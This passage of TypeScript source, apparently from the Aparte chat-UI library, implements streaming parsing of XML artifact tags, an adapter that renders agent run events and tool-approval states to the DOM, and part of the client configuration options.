have the full opening tag (ends with >)\n xml.scanBuf += remaining;\n remaining = '';\n // Entered on a partial prefix that turns out to be a different tag\n // (an <article> element, say): give the text back and return to normal.\n const cmp = Math.min(xml.scanBuf.length, XML_OPEN_TAG.length);\n if (xml.scanBuf.slice(0, cmp) !== XML_OPEN_TAG.slice(0, cmp)) {\n emitChatText(xml.scanBuf);\n xml.scanBuf = '';\n xml.state = 'normal';\n continue;\n }\n const gtIdx = xml.scanBuf.indexOf('>');\n if (gtIdx !== -1) {\n const tag = xml.scanBuf.slice(0, gtIdx + 1);\n // Parse mimeType and title attributes (single or double quotes)\n const mimeMatch = /mimeType=['\"]([^'\"]+)['\"]/.exec(tag);\n const titleMatch = /title=['\"]([^'\"]+)['\"]/.exec(tag);\n xml.mime = mimeMatch?.[1] ?? artifactXmlHint.mimeType;\n xml.title = titleMatch?.[1] ?? artifactXmlHint.kind;\n xml.kind = deriveArtifactKind(xml.mime, artifactXmlHint.kind);\n xml.segId = `artifact-xml-${uuid()}`;\n xml.content = '';\n const openSeg: import('../types/segments.js').AparteArtifactSegment = {\n id: xml.segId, type: 'artifact',\n mimeType: xml.mime, artifactType: xml.kind,\n title: xml.title, content: '',\n };\n targetElement.addSegment?.(openSeg);\n streamingSegmentIds.add(xml.segId);\n dispatchArtifactLifecycle(targetElement, messageId, openSeg, artifactProgress, false);\n xml.state = 'in-artifact';\n remaining = xml.scanBuf.slice(gtIdx + 1);\n xml.scanBuf = '';\n }\n } else { // in-artifact\n const CLOSE = '</artifact>';\n const combined = xml.closeBuf + remaining;\n const closeIdx = combined.indexOf(CLOSE);\n if (closeIdx !== -1) {\n // Closing tag found — finalize the artifact\n xml.content += combined.slice(0, closeIdx);\n const lineCount = xml.content.split('\\n').length;\n const isInline = lineCount < INLINE_MAX_LINES;\n const finalSeg: import('../types/segments.js').AparteArtifactSegment = {\n id: xml.segId!, type: 'artifact',\n mimeType: xml.mime, artifactType: xml.kind,\n title: xml.title, content: xml.content,\n inline: isInline,\n };\n targetElement.updateSegment?.(xml.segId!, { content: xml.content, inline: isInline } as Partial<import('../types/segments.js').AparteArtifactSegment>);\n dispatchArtifactLifecycle(targetElement, messageId, finalSeg, artifactProgress, true);\n xml.state = 'normal';\n xml.closeBuf = '';\n remaining = combined.slice(closeIdx + CLOSE.length);\n } else {\n // Buffer a tail chunk to handle closing tag split across deltas\n const safeLen = Math.max(0, combined.length - CLOSE.length + 1);\n const safe = combined.slice(0, safeLen);\n xml.content += safe;\n xml.closeBuf = combined.slice(safeLen);\n remaining = '';\n if (xml.segId) {\n targetElement.updateSegment?.(xml.segId, { content: xml.content });\n dispatchArtifactLifecycle(targetElement, messageId, {\n id: xml.segId, type: 'artifact',\n mimeType: xml.mime, artifactType: xml.kind,\n title: xml.title, content: xml.content,\n } as import('../types/segments.js').AparteArtifactSegment, artifactProgress, false);\n }\n }\n }\n }\n}\n\n/**\n * Flush a truncated artifact: a stream that ended mid-body (the model cut off\n * before `</artifact>`) still has to render what arrived.\n *\n * The twin of engine's `XmlArtifactStateMachine.finalize()`, and it lives here for\n * the same reason the feeder does — engine's copy is ONE file holding both halves,\n * so splitting them across files in core is precisely the drift the pairing exists\n * to prevent. It also puts the `scanning` note in the feeder next to the state test\n * that makes it true.\n */\nexport function finalizeXmlArtifact(\n xml: XmlArtifactStreamState,\n ctx: {\n targetElement: XmlArtifactFeedTarget;\n messageId: string;\n artifactProgress: Map<string, number>;\n /** Absent when the turn was not in XML-artifact mode — then there is nothing to flush. */\n artifactXmlHint: AparteArtifactHint | undefined;\n /**\n * The turn's text parser. The `scanning` branch pushes held text into it, so\n * the caller MUST call this before `textParser.finalize()`.\n */\n textParser: AparteStreamParser;\n /** So the held-text render does not re-add a segment already on screen. */\n streamingSegmentIds: Set<string>;\n },\n): void {\n const { targetElement, messageId, artifactProgress, artifactXmlHint } = ctx;\n\n // A stream that ends mid-tag — on a held `<arti`, or on an opening tag that\n // never reached its `>` — must give that text back rather than swallow it.\n // `scanBuf` is the only place it lives.\n //\n // Engine's twin has had this branch all along; core's finalize only ever\n // handled `in-artifact`, so the held characters were dropped. The divergence\n // was invisible while the two halves of core's state machine sat 600 lines\n // apart inside a 2100-line class; naming them made it a one-line diff.\n if (xml.state === 'scanning') {\n const held = xml.scanBuf;\n xml.scanBuf = '';\n xml.state = 'normal';\n if (held) {\n // Back through the text parser, NOT as a segment of its own.\n //\n // The held characters are the tail of a prose run that is already\n // rendering, so the parser has to merge them into it. Emitting them\n // directly split one sentence into two segments and — because the active\n // segment is written last — put the held prefix BEFORE the prose it\n // follows. The parity suite caught both.\n //\n // Rendered the same way every other delta is (completed segments, then\n // the active one), because the engine twin's adapter does exactly that\n // for the `chat-text` its machine hands back. Parsing and leaving the\n // render to `finalize()` alone produced one write against the twin's\n // two — a divergence with no behavioural argument behind it.\n //\n // This requires the caller to flush the XML machine BEFORE\n // `textParser.finalize()`, so what we push here still gets flushed.\n const r = ctx.textParser.parse(held);\n for (const seg of r.segments) {\n if (!ctx.streamingSegmentIds.has(seg.id)) {\n targetElement.addSegment?.(seg);\n ctx.streamingSegmentIds.add(seg.id);\n } else if ('content' in seg) {\n targetElement.updateSegment?.(seg.id, { content: (seg as { content?: string }).content });\n }\n }\n const active = ctx.textParser.getState().activeSegment;\n if (active) {\n if (!ctx.streamingSegmentIds.has(active.id)) {\n targetElement.addSegment?.(active);\n ctx.streamingSegmentIds.add(active.id);\n } else {\n targetElement.updateSegment?.(active.id, { content: (active as { content?: string }).content });\n }\n }\n }\n return;\n }\n\n // If the stream ended while still inside an <artifact> tag (model truncated —\n // common on small models with low maxTokens), flush whatever was buffered and\n // render the partial artifact.\n if (artifactXmlHint && xml.state === 'in-artifact' && xml.segId) {\n xml.content += xml.closeBuf;\n const lineCount = xml.content.split('\\n').length;\n const isInline = lineCount < INLINE_MAX_LINES;\n targetElement.updateSegment?.(xml.segId, { content: xml.content, inline: isInline } as Partial<AparteArtifactSegment>);\n dispatchArtifactLifecycle(targetElement, messageId, {\n id: xml.segId, type: 'artifact',\n mimeType: xml.mime, artifactType: xml.kind,\n title: xml.title, content: xml.content, inline: isInline,\n } as AparteArtifactSegment, artifactProgress, true);\n console.warn('[AparteClient] XML artifact finalized without closing tag — content may be partial.');\n }\n}\n","/**\n * stream-adapter.ts — the DOM half of the structured-stream agent loop.\n *\n * `@aparte/engine`'s `runStreamAgent` is the headless loop: it emits high-level,\n * DOM-free run events. This adapter is the other half — it turns each event into\n * the exact `targetElement.*` calls + CustomEvents that `AparteClient._streamLoop`\n * performs today, using the **real** `AparteStreamParser` and tool renderers. So\n * `runStreamAgent` (engine, pure Node) + this adapter (core, DOM) reproduce\n * `_streamLoop` byte-for-byte.\n *\n * DEPENDENCY DIRECTION: `@aparte/core` is the zero-dep leaf — it must NEVER import\n * `@aparte/engine` (engine peer-deps core; importing back would create a build\n * cycle). So the run-event contract is **mirrored** here as\n * {@link AparteStreamRunEvent}, structurally identical to engine's `StreamRunEvent`.\n * `@aparte/engine`'s `runStreamAgent` emits objects that satisfy this type; a\n * consumer wires the two together via the injectable\n * `AparteClientOptions.streamRunner` seam — the same pattern as `approvalResolver`\n * (HITL) and `compactionSelector`. Keep the two unions in sync by hand.\n */\n\nimport { AparteStreamParser } from '../parsers/aparte-stream-parser.js';\nimport type { AparteConfig } from '../config/aparte-config.js';\nimport type { AparteSegment, AparteMessage, AparteStreamEvent } from '../types/index.js';\nimport type {\n AparteThinkingSegment,\n AparteToolCallSegment,\n AparteArtifactSegment,\n AparteCodeSegment,\n} from '../types/segments.js';\nimport type { AparteUsage, AparteChatRequest } from '../types/chat.js';\nimport { uuid } from '../utils/uuid.js';\nimport { dispatchLifecycleEvent, dispatchArtifactLifecycle } from './lifecycle-events.js';\n\n/**\n * DOM-free run events emitted by `@aparte/engine`'s `runStreamAgent`, mirrored here\n * so core need not import engine. **Structurally identical** to engine's\n * `StreamRunEvent` — kept in sync manually (the boundary cost of the zero-dep\n * leaf). See `packages/engine/src/agent/stream-events.ts` for the source of truth\n * and the per-event `_streamLoop` mapping notes.\n */\nexport type AparteStreamRunEvent =\n | { type: 'run-start' }\n | { type: 'turn-start' }\n | { type: 'text-delta'; delta: string; reduced?: boolean }\n | { type: 'text-flush' }\n | { type: 'thinking-delta'; delta: string }\n | { type: 'artifact-open'; id: string; mimeType: string; kind: string; title: string }\n | { type: 'artifact-chunk'; id: string; content: string }\n | { type: 'artifact-close'; id: string; content: string; inline: boolean }\n | { type: 'artifact-ready'; id: string; mimeType: string; kind: string; title: string; content: string }\n | { type: 'tool-start'; toolCallId: string; name: string; input: unknown }\n | { type: 'tool-awaiting-approval'; toolCallId: string; name: string; input: unknown }\n | { type: 'tool-approved'; toolCallId: string }\n | { type: 'tool-rejected'; toolCallId: string; reason: string }\n | { type: 'tool-resolved'; toolCallId: string; result: string }\n | { type: 'tool-aborted'; toolCallId: string }\n | { type: 'turn-limit-exceeded'; scope: 'global' | 'tool'; limit: number; toolCallId?: string }\n | { type: 'phase-advance'; index: number }\n | { type: 'run-aborted' }\n | { type: 'run-done'; usage?: AparteUsage };\n\n/** Synchronous, ordered event sink — mirrors engine's `StreamRunEmitter`. */\nexport type AparteStreamRunEmitter = (event: AparteStreamRunEvent) => void;\n\n/**\n * Options for an injected {@link AparteStreamRunner} — structurally identical to\n * engine's `StreamRunOptions` (the mirror boundary again). `AparteClient` builds\n * these from its config/provider/transport and hands them to the runner.\n */\nexport interface AparteStreamRunOptions {\n messageId: string;\n baseRequest: AparteChatRequest;\n /** Calls the transport; returns the structured stream or a plain string. */\n transportCall: (request: AparteChatRequest) => Promise<AsyncIterable<AparteStreamEvent> | string>;\n /** Resolves a tool's handler by name (mirrors `aparteGlobalConfig.getToolHandler`). */\n toolLookup: (name: string) => ((call: { id: string; name: string; input: Record<string, unknown> }, signal: AbortSignal) => Promise<{ content: string }>) | undefined;\n /** Resolves a tool's loop config by name (maxTurns / needsApproval). */\n toolConfigLookup?: (name: string) => { maxTurns?: number; needsApproval?: boolean } | undefined;\n /** HITL approval resolver for `needsApproval` tools. */\n approvalResolver?: (toolCallId: string, signal: AbortSignal) => Promise<{ approved: boolean; payload?: unknown }>;\n /** The DOM adapter (from {@link createStreamAdapter}). */\n emitter: AparteStreamRunEmitter;\n /** Single abort signal (the client composes `_isAborted` + the controller). */\n signal: AbortSignal;\n maxTurns?: number;\n toolTimeoutMs?: number;\n idGen?: (prefix: string) => string;\n}\n\n/**\n * A headless structured-stream loop injected via `AparteClientOptions.streamRunner`\n * — the seam by which a consumer swaps `_streamLoop`'s inline loop for\n * `@aparte/engine`'s `runStreamAgent` (core stays the zero-dep leaf; it never\n * imports engine).\n *\n * `runStreamAgent` is directly assignable to this type — pass it, do not cast it.\n * An earlier version of this comment advised a cast \"if the duck-typed shapes\n * don't line up\", which is how the two packages' message types drifted apart\n * unnoticed and shipped a `streamRunner: runStreamAgent` that did not compile on\n * five docs pages and a README. A cast here hides exactly the drift that\n * `stream-events.contract.ts` now exists to fail on.\n */\nexport type AparteStreamRunner = (opts: AparteStreamRunOptions) => Promise<AparteUsage | undefined>;\n\n/**\n * The imperative surface the adapter drives (subset of `AparteChatTargetElement`).\n * Every method is optional so a partial/mock target degrades gracefully.\n */\nexport interface StreamAdapterTarget {\n updateMessage?(id: string, updates: Partial<AparteMessage>): void;\n updateLastMessage?(content: string, options?: { append?: boolean }): void;\n addSegment?(segment: AparteSegment): void;\n updateSegment?(segmentId: string, updates: Partial<AparteSegment>): void;\n typeName?(text: string): void;\n setUsage?(id: string, usage: AparteUsage): void;\n dispatchEvent(event: Event): boolean;\n}\n\nexport interface CreateStreamAdapterOptions {\n /** The chat target element the events are rendered onto. */\n target: StreamAdapterTarget;\n /** Config for tool-renderer lookup + per-tool style injection. */\n config: AparteConfig;\n /** The streamed assistant message id (carried in run/artifact events). */\n messageId: string;\n /**\n * Code-fence promotion hint (`baseRequest._meta.artifactHint`). When set, the\n * first `code` segment produced by the text parser is promoted to an artifact\n * — the one `_streamLoop` mechanism that stays adapter-side (it needs the\n * parser). Absent for the raw / XML / create_artifact modes.\n */\n artifactHint?: { mimeType: string; kind: string };\n}\n\n/**\n * Build the event → DOM adapter for one streamed message. Returns a synchronous\n * {@link AparteStreamRunEmitter} to hand to `runStreamAgent` as its `emitter`.\n * Reproduces `_streamLoop`'s `targetElement.*` call sequence exactly (validated\n * by the engine parity test against the real loop).\n */\nexport function createStreamAdapter(opts: CreateStreamAdapterOptions): AparteStreamRunEmitter {\n const { target, config, messageId, artifactHint } = opts;\n\n // Per-turn streaming state (reset on `turn-start`, mirroring `_streamLoop`\n // creating a fresh parser / maps each outer iteration).\n let parser = new AparteStreamParser();\n let streaming = new Set<string>();\n let thinkingId: string | null = null;\n let thinkingContent = '';\n let thinkingCollapsed = false;\n let artifactProgress = new Map<string, number>();\n let artifactPromoted = false;\n // id → open-segment meta, so chunk/close can rebuild the full segment for the\n // artifact-lifecycle dispatch (which reads mimeType/artifactType/title).\n let artifactMeta = new Map<string, { mimeType: string; artifactType: string; title: string }>();\n\n return (e: AparteStreamRunEvent): void => {\n switch (e.type) {\n case 'run-start':\n target.updateMessage?.(messageId, { status: 'streaming' });\n break;\n\n case 'turn-start':\n parser = new AparteStreamParser();\n streaming = new Set();\n thinkingId = null;\n thinkingContent = '';\n thinkingCollapsed = false;\n artifactProgress = new Map();\n artifactPromoted = false;\n artifactMeta = new Map();\n break;\n\n case 'thinking-delta': {\n thinkingContent += e.delta;\n if (!thinkingId) {\n const seg: AparteThinkingSegment = {\n id: `think-${uuid()}`,\n type: 'thinking',\n content: thinkingContent,\n collapsed: true,\n label: 'Thinking',\n };\n thinkingId = seg.id;\n streaming.add(seg.id);\n target.addSegment?.(seg);\n } else {\n target.updateSegment?.(thinkingId, { content: thinkingContent });\n }\n break;\n }\n\n case 'text-delta': {\n // Collapse the thinking block when response text starts.\n if (thinkingId && !thinkingCollapsed) {\n target.updateSegment?.(thinkingId, { collapsed: true });\n thinkingCollapsed = true;\n }\n // Reduced pre-tag path (XML mode): render only completed segments;\n // leave the trailing active segment for the next tag-free delta\n // (mirrors `emitChatText(…, syncActive = false)` in\n // ./xml-artifact-feed.ts). No artifact promotion here —\n // pre-tag text is plain chat.\n if (e.reduced) {\n const r = parser.parse(e.delta);\n for (const segment of r.segments) {\n if (!streaming.has(segment.id)) {\n target.addSegment?.(segment);\n streaming.add(segment.id);\n } else if ('content' in segment) {\n // Already rendered while ACTIVE and now COMPLETED, so\n // its final content has to land. Without this arm a\n // delta that both closes a code fence and precedes an\n // `<artifact>` tag froze that fence at whatever the\n // parser's 4-char safe window had released, and\n // `text-flush` cannot recover it: `finalize()` returns\n // the active segment and the residual buffer, never one\n // that already completed. Core's twin (`emitChatText`)\n // has always had both arms.\n target.updateSegment?.(segment.id, { content: (segment as { content?: string }).content });\n }\n }\n // The raw-delta fallback is gone from BOTH loops. It fired only\n // when the parser had withheld an ambiguous prefix, wrote those\n // characters into `message.content`, and history then preferred\n // that field over the rendered segments — so a reply opening with\n // a code fence was sent back to the model as three backticks.\n // The parser keeps the text and `finalize()` flushes it.\n //\n // This sibling is explicit because the condition here already\n // consulted `activeSegment`, so it read as more careful than\n // core's — and was exactly as wrong.\n break;\n }\n const result = parser.parse(e.delta);\n for (let segment of result.segments) {\n // Artifact-hint promotion: first code fence → artifact.\n if (artifactHint && !artifactPromoted && segment.type === 'code') {\n const codeSeg = segment as AparteCodeSegment;\n const promoted: AparteArtifactSegment = {\n id: codeSeg.id,\n type: 'artifact',\n mimeType: artifactHint.mimeType,\n artifactType: artifactHint.kind,\n title: codeSeg.filename ?? artifactHint.kind,\n content: codeSeg.content,\n };\n segment = promoted;\n artifactPromoted = true;\n }\n if (!streaming.has(segment.id)) {\n target.addSegment?.(segment);\n streaming.add(segment.id);\n } else if ('content' in segment) {\n target.updateSegment?.(segment.id, { content: (segment as { content: string }).content });\n }\n if (segment.type === 'artifact') {\n dispatchArtifactLifecycle(target, messageId, segment as AparteArtifactSegment, artifactProgress, true);\n }\n }\n const active = parser.getState().activeSegment;\n if (active) {\n if (!streaming.has(active.id)) {\n target.addSegment?.(active);\n streaming.add(active.id);\n if (active.type === 'artifact') {\n dispatchArtifactLifecycle(target, messageId, active as AparteArtifactSegment, artifactProgress, false);\n }\n } else {\n target.updateSegment?.(active.id, { content: (active as { content: string }).content });\n if (active.type === 'artifact') {\n dispatchArtifactLifecycle(target, messageId, active as AparteArtifactSegment, artifactProgress, false);\n }\n }\n } else if (result.segments.length === 0) {\n // Nothing: see the note on the other feeder. The parser is holding\n // an ambiguous prefix, and writing it here duplicated it into\n // `message.content`, which history preferred over the segments.\n }\n break;\n }\n\n case 'text-flush': {\n const finals = parser.finalize();\n // Finalize-time code-fence promotion (stream ended without ```).\n if (artifactHint && !artifactPromoted) {\n const codeIdx = finals.findIndex(s => s.type === 'code');\n if (codeIdx !== -1) {\n const codeSeg = finals[codeIdx] as AparteCodeSegment;\n const promoted: AparteArtifactSegment = {\n id: codeSeg.id,\n type: 'artifact',\n mimeType: artifactHint.mimeType,\n artifactType: artifactHint.kind,\n title: codeSeg.filename ?? artifactHint.kind,\n content: codeSeg.content,\n };\n finals[codeIdx] = promoted;\n artifactPromoted = true;\n if (streaming.has(promoted.id)) {\n target.updateSegment?.(promoted.id, promoted as Partial<AparteSegment>);\n }\n }\n }\n for (const s of finals) {\n if (!streaming.has(s.id)) target.addSegment?.(s);\n else if ('content' in s) target.updateSegment?.(s.id, { content: (s as { content: string }).content });\n if (s.type === 'artifact') {\n dispatchArtifactLifecycle(target, messageId, s as AparteArtifactSegment, artifactProgress, true);\n }\n }\n break;\n }\n\n case 'artifact-open': {\n const seg: AparteArtifactSegment = {\n id: e.id, type: 'artifact',\n mimeType: e.mimeType, artifactType: e.kind, title: e.title,\n content: '',\n };\n target.addSegment?.(seg);\n streaming.add(e.id);\n artifactMeta.set(e.id, { mimeType: e.mimeType, artifactType: e.kind, title: e.title });\n dispatchArtifactLifecycle(target, messageId, seg, artifactProgress, false);\n break;\n }\n\n case 'artifact-chunk': {\n const meta = artifactMeta.get(e.id);\n target.updateSegment?.(e.id, { content: e.content });\n dispatchArtifactLifecycle(target, messageId, { id: e.id, content: e.content, ...meta }, artifactProgress, false);\n break;\n }\n\n case 'artifact-close': {\n const meta = artifactMeta.get(e.id);\n target.updateSegment?.(e.id, { content: e.content, inline: e.inline } as Partial<AparteSegment>);\n dispatchArtifactLifecycle(target, messageId, { id: e.id, content: e.content, ...meta }, artifactProgress, true);\n break;\n }\n\n case 'artifact-ready': {\n // One-shot create_artifact: full content up-front, no open/chunk.\n const seg: AparteArtifactSegment = {\n id: e.id, type: 'artifact',\n mimeType: e.mimeType, artifactType: e.kind, title: e.title,\n content: e.content,\n };\n target.addSegment?.(seg);\n dispatchArtifactLifecycle(target, messageId, seg, artifactProgress, true);\n break;\n }\n\n case 'tool-start': {\n const toolSeg: AparteToolCallSegment = {\n id: `tool-${e.toolCallId}`,\n type: 'tool_call',\n toolCall: { id: e.toolCallId, name: e.name, input: e.input as Record<string, unknown> },\n status: 'pending',\n };\n const renderer = config.getToolRenderer(e.name);\n if (renderer) {\n // Inject per-tool styles once into document.head.\n if (renderer.getStyles) {\n const styles = renderer.getStyles();\n if (styles) {\n const styleId = `aparte-tool-renderer-${e.name}`;\n if (!document.getElementById(styleId)) {\n const styleEl = document.createElement('style');\n styleEl.id = styleId;\n styleEl.textContent = styles;\n document.head.appendChild(styleEl);\n }\n }\n }\n const html = renderer.render(toolSeg);\n if (html) target.addSegment?.(toolSeg);\n } else {\n target.addSegment?.(toolSeg);\n }\n break;\n }\n\n case 'tool-awaiting-approval':\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'awaiting-approval' });\n dispatchLifecycleEvent(target, 'aparte-tool-approval-request', { toolCallId: e.toolCallId, toolName: e.name, input: e.input });\n break;\n\n case 'tool-approved':\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'pending' });\n break;\n\n case 'tool-rejected':\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'rejected', result: e.reason });\n break;\n\n case 'tool-resolved':\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'resolved', result: e.result });\n break;\n\n case 'tool-aborted':\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'aborted' });\n break;\n\n case 'turn-limit-exceeded':\n if (e.scope === 'global') {\n target.addSegment?.({\n id: `max-turns-${uuid()}`,\n type: 'error',\n content: `Stopped after ${e.limit} tool calls to prevent an infinite loop.`,\n details: 'MAX_TURNS_EXCEEDED',\n });\n } else if (e.toolCallId) {\n target.updateSegment?.(`tool-${e.toolCallId}`, { status: 'aborted' });\n }\n break;\n\n case 'phase-advance':\n target.addSegment?.({ id: `pw-${uuid()}`, type: 'pipeline-waiting' } as AparteSegment);\n break;\n\n case 'run-aborted':\n dispatchLifecycleEvent(target, 'aparte-message-aborted', { messageId });\n break;\n\n case 'run-done':\n target.updateMessage?.(messageId, { status: 'completed' });\n if (e.usage) {\n try { target.setUsage?.(messageId, e.usage); } catch { /* target may not implement setUsage */ }\n }\n break;\n }\n };\n}\n\n/**\n * Bridge a `ReadableStream` (what the transport returns) to the\n * `AsyncIterable<AparteStreamEvent>` `runStreamAgent` consumes, cancelling the\n * reader **synchronously** on abort so a user \"stop\" cuts the in-flight read.\n * Used by the `_streamLoop` seam when building `transportCall` for an injected\n * runner. Mirrors `_streamLoop`'s `reader.read()` loop + `reader.cancel()`.\n */\nexport function readableToAsyncIterable(\n stream: ReadableStream<AparteStreamEvent>,\n signal: AbortSignal,\n): AsyncIterable<AparteStreamEvent> {\n return {\n [Symbol.asyncIterator](): AsyncIterator<AparteStreamEvent> {\n const reader = stream.getReader();\n const onAbort = () => { try { void reader.cancel(); } catch { /* best effort */ } };\n if (signal.aborted) onAbort();\n else signal.addEventListener('abort', onAbort, { once: true });\n return {\n async next(): Promise<IteratorResult<AparteStreamEvent>> {\n const { done, value } = await reader.read();\n if (done) return { done: true, value: undefined };\n return { done: false, value };\n },\n async return(): Promise<IteratorResult<AparteStreamEvent>> {\n signal.removeEventListener('abort', onAbort);\n // CANCEL, then release. Releasing a reader does not stop the\n // source: the provider's `start()` keeps draining the vendor\n // body, so the model kept generating (and billing) whenever the\n // runner walked away from a turn — a rejected tool, a turn\n // limit, a missing handler. The inline loop got this fix; this\n // path, which the docs recommend, did not.\n try { await reader.cancel(); } catch { /* best effort */ }\n try { reader.releaseLock(); } catch { /* best effort */ }\n return { done: true, value: undefined };\n },\n };\n },\n };\n}\n","import { aparteGlobalConfig, AparteConfig } from '../config/aparte-config.js';\nimport { resolveConfig } from '../config/config-context.js';\nimport { AparteStreamParser, deriveArtifactKind } from '../parsers/aparte-stream-parser.js';\nimport { feedXmlArtifactDelta, finalizeXmlArtifact, type XmlArtifactStreamState } from './xml-artifact-feed.js';\n\nimport { registerDefaultRenderers, declineDefaultRenderers } from '../renderers/segment-renderers.js';\nimport { createStreamAdapter, readableToAsyncIterable } from './stream-adapter.js';\nimport { dispatchLifecycleEvent, dispatchArtifactLifecycle } from './lifecycle-events.js';\nimport type { AparteStreamRunner, StreamAdapterTarget } from './stream-adapter.js';\nimport type { AparteSegment, AparteStreamEvent, AparteMessage, AparteErrorSegment } from '../types/index.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteThinkingSegment } from '../types/segments.js';\nimport type { AparteToolCallSegment } from '../types/segments.js';\nimport type { AparteToolCall, AparteTool } from '../types/tools.js';\nimport { AparteChatRequest, AparteChatMessage, AparteContentPart, AparteUsage, AparteRequestMeta, contentToText } from '../types/chat.js';\nimport { AparteError, AparteErrorCode } from '../types/errors.js';\nimport { uuid } from '../utils/uuid.js';\n\n/**\n * The imperative surface AparteClient drives on a chat target element\n * (`<aparte-chat-viewport>` directly, or a framework host via AparteChatHost).\n * Every method is optional so a partial/mock target degrades gracefully — the\n * client always calls them through optional chaining. Mirrors the shape the\n * wrappers and `AparteChatHost` already conform to.\n */\ninterface AparteChatTargetElement extends HTMLElement {\n appendMessage?(message: AparteMessage): void;\n updateMessage?(id: string, updates: Partial<AparteMessage>): void;\n updateLastMessage?(content: string, options?: { append?: boolean }): void;\n addSegment?(segment: AparteSegment): void;\n updateSegment?(segmentId: string, updates: Partial<AparteSegment>): void;\n removeSegment?(segmentId: string): void;\n getMessages?(): AparteMessage[];\n addSiblingOf?(existingId: string, newMessage: AparteMessage): string | null;\n truncateFrom?(id: string): void;\n truncateResponsesAfter?(userMessageId: string): void;\n typeName?(text: string): void;\n}\n\n/**\n * Default timeout (ms) for a tool handler to resolve before it is aborted.\n *\n * Same value `runStreamAgent` uses, and now overridable by the same option name\n * (`toolTimeoutMs`). It used to be reachable only as this constant here while the\n * engine runner exposed it — so a consumer who set `toolTimeoutMs` got it honoured\n * on one of the two loops and silently ignored on the other. Found by writing the\n * tool-timeout parity scenario the seam never had.\n */\nconst DEFAULT_TOOL_HANDLER_TIMEOUT_MS = 5 * 60 * 1000; // 5 minutes\n\n/**\n * Resolves a human-in-the-loop tool approval for a `needsApproval` tool call.\n * Resolves `{ approved, payload? }`; the `signal` aborts a pending decision.\n */\nexport type AparteToolApprovalResolver = (\n toolCallId: string,\n signal: AbortSignal,\n) => Promise<{ approved: boolean; payload?: unknown }>;\n\n/**\n * Decides how a conversation is compacted: which messages are summarized away\n * (`drop`) and which are preserved verbatim (`keep`). Pure — no LLM call.\n *\n * The default selector drops the whole history (summarize everything, replace\n * all), which is the built-in behaviour. Inject a budget-aware selector (e.g.\n * wrapping `@aparte/engine`'s `compactConversation`) so the compaction badge and\n * the `compact()` action share one selection and only the old turns are sent to\n * the summarizer — the budget is closed over by the consumer, not core's to know.\n */\nexport type AparteCompactionSelector = (\n messages: AparteMessage[],\n) => { keep: AparteMessage[]; drop: AparteMessage[] };\n\n/**\n * Configuration options for AparteClient\n */\nexport interface AparteClientOptions {\n /**\n * Function to resolve API keys for a given provider.\n * Can return a string (key) or a full configuration object.\n */\n keyResolver?: (providerId: string) => string | Record<string, string> | Promise<string | Record<string, string> | undefined | null> | undefined | null;\n\n /**\n * Custom human-in-the-loop approval resolver for tools marked\n * `needsApproval`. Defaults to a global `document` `aparte-tool-decision`\n * listener (the built-in Approve/Reject gate). Inject this to run multiple\n * isolated clients on one page, or to drive approval from a headless source\n * (CLI / webhook) with no DOM.\n */\n approvalResolver?: AparteToolApprovalResolver;\n\n /**\n * Custom compaction selection strategy. Defaults to dropping the entire\n * history (summarize all, replace all — the built-in behaviour). Inject a\n * budget-aware selector so only old turns are summarized and recent ones are\n * kept verbatim. See {@link AparteCompactionSelector}.\n */\n compactionSelector?: AparteCompactionSelector;\n\n /**\n * Optional headless stream-loop runner. When set, `_streamLoop` delegates the\n * agentic loop to it and renders via the core adapter\n * ({@link createStreamAdapter}); when absent, the built-in inline loop runs.\n * Inject `@aparte/engine`'s `runStreamAgent` here so a backend/cloud path\n * shares one tested loop — core stays the zero-dep leaf and never imports\n * engine. Same injection pattern as {@link approvalResolver} /\n * {@link compactionSelector}. See {@link AparteStreamRunner}.\n */\n streamRunner?: AparteStreamRunner;\n\n /**\n * Optional request interceptor to modify the chat request before sending.\n */\n requestInterceptor?: (request: AparteChatRequest) => AparteChatRequest | Promise<AparteChatRequest>;\n\n /**\n * Whether to register core's default segment renderers.\n *\n * Rarely needed either way: the built-ins install themselves the first time a\n * segment needs one, so leaving this alone just works. Set it to `false` to\n * keep them out entirely — a decision that is remembered, so nothing installs\n * them later; register your own with `registerSegmentRenderer`. Do it at\n * startup, before the first segment renders.\n * @default true\n */\n autoRegister?: boolean;\n\n /**\n * Conversation history strategy:\n * - 'viewport' (default) — collects completed messages from the viewport\n * - 'none' — sends only the current message (original behavior)\n * - function — custom: receives viewport messages, returns AparteChatMessage[]\n */\n history?: 'viewport' | 'none' | ((viewportMessages: AparteMessage[]) => AparteChatMessage[]);\n\n /**\n * Optional resolver that returns the host element exposing `appendMessage`.\n * Use this when the default event-bubble walk cannot reach the host\n * (e.g. Angular re-renders detach the input element mid-flight).\n *\n * @example\n * targetResolver: () => document.querySelector('aparte-chat')\n */\n targetResolver?: () => HTMLElement | null;\n\n /**\n * Scope this client to a specific target element id.\n * When set, the client will only handle `aparte-send`, `aparte-retry`, `aparte-edit`\n * and `aparte-abort` events whose `detail.targetId` matches this id.\n * This allows multiple AparteClient instances (one per conversation) to coexist\n * on the same page without interfering with each other.\n *\n * @example\n * // Two independent conversations:\n * new AparteClient({ scopeToTargetId: 'chat-left' }).start();\n * new AparteClient({ scopeToTargetId: 'chat-right' }).start();\n */\n scopeToTargetId?: string;\n\n /**\n * Maximum number of agentic tool-call loop turns before the loop is forcibly\n * stopped and an error segment is shown. Prevents infinite loops.\n * Individual tools can override this via `AparteTool.maxTurns`.\n * @default 10\n */\n maxTurns?: number;\n /**\n * Per-call ceiling (ms) for a tool handler to resolve before its signal is\n * aborted. Defaults to 5 minutes — the same default, and the same option name,\n * as `runStreamAgent`, so the value means one thing whichever loop runs.\n */\n toolTimeoutMs?: number;\n\n /**\n * Controls which files attached by the user are injected as raw content\n * parts in the LLM request.\n *\n * - `'all'` (default) — images as base64, text files as code-fenced text\n * - `'images-only'` — only images are injected; text/binary documents\n * are left for the application layer (e.g. a RAG pipeline) to handle\n * - `'none'` — no files are injected as content parts; ALL file\n * types (including images) are routed to the application layer. Used\n * when images go through a captioning pipeline before RAG ingest, so\n * the chat context only ever sees retrieved text — never raw image\n * bytes. Saves bytes on every turn and matches the offline-first\n * intent (read file once at upload, retrieve text-only forever after).\n *\n * Set `'images-only'` when a `requestInterceptor` retrieves relevant\n * document chunks and injects them as a system message instead, to 